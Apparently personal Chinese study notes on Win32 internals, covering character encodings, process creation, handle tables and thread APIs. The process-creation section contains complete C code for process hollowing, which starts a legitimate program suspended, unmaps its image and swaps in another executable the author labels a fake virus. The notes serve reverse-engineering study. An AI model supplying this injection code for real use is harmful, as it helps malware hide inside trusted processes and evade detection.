字符编码
1. ASCII编码
0 - 7F, 0000 0000——–0111 1111标准ASCII码
80 - FF 1000 0000 ——-1111 1111 扩展ASCII码
2.GB2312或GB2312-80(针对自己国家)基于扩展ASCII码
单独看每一个字节,都是扩展ASCII码表中的数据,2个表示一个汉字,这就是GB2312编码,
但是GB2312存在很大的弊端,例:
将一份GB2312编码的邮件发给一个老外的时候,它看到的是乱码,因为不同国家的解释不一样,Big5编码的思路跟GB2312一样,同样的字节,不同的数据,因为解释的不一样
怎么解决问题这个乱码问题呢?UNICODE出现
3. UNICODE
这是一个编码方案,说白了就是一张包含全世界所有文字的一个编码表,只要这个世界上存在的文字符号,统统给你一个唯一的编码:
UNICODE编码范围是: 0 - 0X10FFFF, 可以容纳100多万个符号!
UNICODE 的问题?
假如说:
- 中: 0x12 34
- 国:0x01 23 45
- A: 0x41
用多少个字节来存储呢?UNICODE只是一个符号集,它只规定了符号的二进制代码,却没有规定这个二进制代码应该如何存储
4. 如何存储UNICODE
UTF-16\UTF-8是UNICODE的实现方式
UTF-16
UTF-16编码以16位无符号整数为单位,注意是16位为一个单位,不表示一个字符就只有16位。这个要看字符的UNICODE编码处于什么范围而定,有可能是2个字节,也有可能是4个字节,现在机器上的UNCODE 编码一般指的就是UTF-16
因为它任何符号都是以2个字节为单位,对于A,B,C这种简单的符号,一个字节就够了,所以用UTF-16可能会浪费空间,在网络传输中效率可能会慢,
UTF-8
比如在记事本中写入 “AB字”,然后分别存储为UTF-16 或 UTF-8的格式
“字” UTF-16 是 5B 57
UTF-8 是 E5 AD 97
E5 AD 97
1110 0101 10****10 1101 10****01 0111
红色部分拼接为0101 1011 0101 0111,即5B 57
那么给定一个文本,怎么知道是解析为UTF-16还是UTF-8呢?
BOM (Byte Order Mark)(解决解析时候的问题)
UTF-8 || EF BB BF
UTF-16(LE) || FF FE
UTF-16(BE) || FE FF
这是前缀
进程的创建过程
进程提供程序所需的资源,如:数据,代码等等。进程是静止不动的
进程内存空间的地址划分
一个进程里面含有一堆PE文件
进程是怎么创建的
任何进程都是别的进程创建的:CreateProcess
映射EXE文件
创建内核对象EPROCESS
映射DLL文件(ntdll.dll) 所有EXE都得用到这个DLL文件
创建线程内核对象ETHREAD
系统启动线程
映射DLL(ntdll.LdrInitializeThunk)
线程开始执行
可以在第4步与第5步之间做一些猥琐的事情,怎么在第4步与第5步之间搞事情呢???
可以在CreateProcess这个函数的第6个参数__in DWORD dwCreationFlags,,将其设置为CREATE_SUSPENDED,然后线程就会被挂起,然后在这个地方进行PE映像切换(傀儡进程),这个在《逆向工程核心原理》第56章有讲,因为这里是讲进程的创建过程,所以对PE影响切换不再描述
这里是这种技术的实验代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140
| #include <windows.h> #include <stdio.h>
typedef DWORD(WINAPI* _TZwUnmapViewOfSection)(HANDLE, PVOID); BOOL PeLoad(HANDLE hProcess, BYTE* peFile, BYTE* peRam, int size); CHAR* LoadFile(CHAR* filePath); DWORD FileBufferToImageBuffer(LPVOID pFileBuffer, LPVOID pImageBuffer);
int main() { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = {}; CHAR szName[] = "E:\\TrayS v1.1.3\\TrayS_x86\\TrayS.exe"; si.cb = sizeof(si); BOOL res = CreateProcess( szName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi );
if (res == 0) { printf("错误CODE: %d\n", GetLastError()); } CONTEXT contex; contex.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &contex); printf("子进程PID: %d\n", pi.dwProcessId); printf("%#X\n", contex.Eax); BYTE* baseAddress = (BYTE*)(contex.Ebx + 8); DWORD dwImageBase = 0; ReadProcessMemory(pi.hProcess, baseAddress, &dwImageBase, 4, NULL); HMODULE hModuleNt = LoadLibrary("ntdll.dll"); if (hModuleNt == NULL) { TerminateThread(pi.hThread, 0); return -1; } _TZwUnmapViewOfSection pZwUnmapViewOfSection = (_TZwUnmapViewOfSection)GetProcAddress(hModuleNt, "ZwUnmapViewOfSection");
pZwUnmapViewOfSection(pi.hProcess, (PVOID)dwImageBase);
CHAR szFileName[] = "F:\\_重学RE笔记\\WIN32_PE学习\\傀儡进程\\傀儡进程\\假装自己是病毒.exe"; CHAR * PEFILE = LoadFile(szFileName);
IMAGE_DOS_HEADER* pidhsrc = (IMAGE_DOS_HEADER*)PEFILE; IMAGE_NT_HEADERS* pinhsrc = (IMAGE_NT_HEADERS*)(pidhsrc->e_lfanew + PEFILE); LPVOID pImageBase = VirtualAllocEx(pi.hProcess, (LPVOID)pinhsrc->OptionalHeader.ImageBase, pinhsrc->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if ((DWORD)pImageBase != pinhsrc->OptionalHeader.ImageBase) { TerminateThread(pi.hThread, 0); return -1; }
PeLoad(pi.hProcess, (BYTE *)PEFILE, (BYTE*)pImageBase, pinhsrc->OptionalHeader.SizeOfImage);
contex.Eax = pinhsrc->OptionalHeader.AddressOfEntryPoint + pinhsrc->OptionalHeader.ImageBase; DWORD imageBase = pinhsrc->OptionalHeader.ImageBase; WriteProcessMemory(pi.hProcess, LPVOID(contex.Ebx + 8), &imageBase, 4, NULL); SetThreadContext(pi.hThread, &contex); ResumeThread(pi.hThread); free(PEFILE); return 0;
return 0; }
BOOL PeLoad(HANDLE hProcess, BYTE* peFile, BYTE* peRam, int size) { BYTE* peImage = (BYTE*)malloc(size); FileBufferToImageBuffer(peFile, peImage); BOOL isSuccess = WriteProcessMemory(hProcess, peRam, peImage, size, NULL); free(peImage); return isSuccess; }
CHAR* LoadFile(CHAR* filePath) { FILE* fpShellFile; fopen_s(&fpShellFile, filePath, "rb"); if (fpShellFile == 0) { printf("加载病毒失败\n"); ExitProcess(-1); } fseek(fpShellFile, 0, SEEK_END); DWORD dwShellFileSize = ftell(fpShellFile); CHAR* pShellFile = (CHAR*)malloc(dwShellFileSize); fseek(fpShellFile, 0, SEEK_SET); fread(pShellFile, 1, dwShellFileSize, fpShellFile); fclose(fpShellFile); return pShellFile; }
DWORD FileBufferToImageBuffer(LPVOID pFileBuffer, LPVOID pImageBuffer) { IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pFileBuffer; IMAGE_NT_HEADERS* pNtHeader = (IMAGE_NT_HEADERS*)(pDosHeader->e_lfanew + (DWORD)pDosHeader); IMAGE_FILE_HEADER* pPEHeader = (IMAGE_FILE_HEADER*)((DWORD)pNtHeader + 4); IMAGE_OPTIONAL_HEADER32* pOptionHeader = (IMAGE_OPTIONAL_HEADER32*)((DWORD)pPEHeader + sizeof(IMAGE_FILE_HEADER)); IMAGE_SECTION_HEADER* pSectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)pOptionHeader + pPEHeader->SizeOfOptionalHeader);
memset(pImageBuffer, 0, pNtHeader->OptionalHeader.SizeOfImage); memcpy(pImageBuffer, pFileBuffer, pNtHeader->OptionalHeader.SizeOfHeaders); for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) { memcpy((LPVOID)((DWORD)pImageBuffer + pSectionHeader[i].VirtualAddress), (LPVOID)((DWORD)pFileBuffer + pSectionHeader[i].PointerToRawData), pSectionHeader[i].SizeOfRawData); } return pNtHeader->OptionalHeader.SizeOfImage; }
|
句柄表
1、什么是内核对象?
像进程、线程、文件、互斥体、事件等在内核都有一个对应的结构体,这些结构体由内核负责故案例。我们管这样的对象叫做内核对象。
2、 如何管理内核对象
通过句柄表
3、每个进程都有一个句柄表
不是每个内核对象都有句柄表,只有进程内核对象才有句柄表。
4、多进程共享一个内核对象
句柄表是一个私有的值,句柄只有在本进程中才有意义
CloseHandle使内核对象的引用计数 - 1,一般情况下引用计数为0了,没有任何指针指向它,这个内核对象就会被移除,但是进程内核对象和线程内核对象是特例,只有关闭所有的线程句柄和终止掉线程两个条件同时满足的时候,这个线程内核对象才会被移除。
5、 句柄是否可以被继承
在创建一个内核对象的时候,一定会有一个参数
1 2 3 4 5
| typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; LPVOID lpSecurityDescriptor; BOOL bInheritHandle; } SECURITY_ATTRIBUTES,
|
6、进程是否能够继承父进程的句柄
当用CreateProcess创建进程的时候,第5个参数bInheritHandles如果设置为TRUE,那么父进程句柄表中可以被继承的内核对象句柄就会被继承过去,具体继承方式如上图所示,就是将整个句-柄表复制过去,不能继承的填充0,这样的话,在子进程中的句柄值可以与父进程一模一样
进程相关API
PID是全局句柄表的索引,所以它在 所有进程中都有效
当前进程的 进程句柄 是当前进程句柄表的索引,所以它只在本进程有效
工作路径与模块路径
当前模块路径是不变的,文件放在哪,他就是啥
但是工作路径的话就不同了,工作路径是父进程通过CreateProcess这个API传给他的,通过参数 __in_opt LPCTSTR lpCurrentDirectory将工作目录传给子进程。
如下例:
其他API
获取进程PID: GetCurrentProcessId
获取进程句柄: GetCurrentProcess
获取命令行: GetCommandLine
获取启动信息: GetStartupInfo
遍历进程ID: EnumProcesses
快照: CreateToolhelp32Snapshot
线程
1、什么是线程
CreateThread 创建线程
线程是附属在进程上的执行实体,是代码的执行流程
一个进程可以包含多个线程,但一个进程至少要包含一个线程
2、控制线程
暂停线程恢复线程
SuspendThread()
ResumeThread() //可以根据这个函数的返回值来判断线程是否挂起
等待线程结束
WaitForSingleObject()
WaitForMultipleObject()
GetExitCodeThread()
获取线程环境(线程切换的时候要保存环境)
GetThreadContext()
SetThreadContext()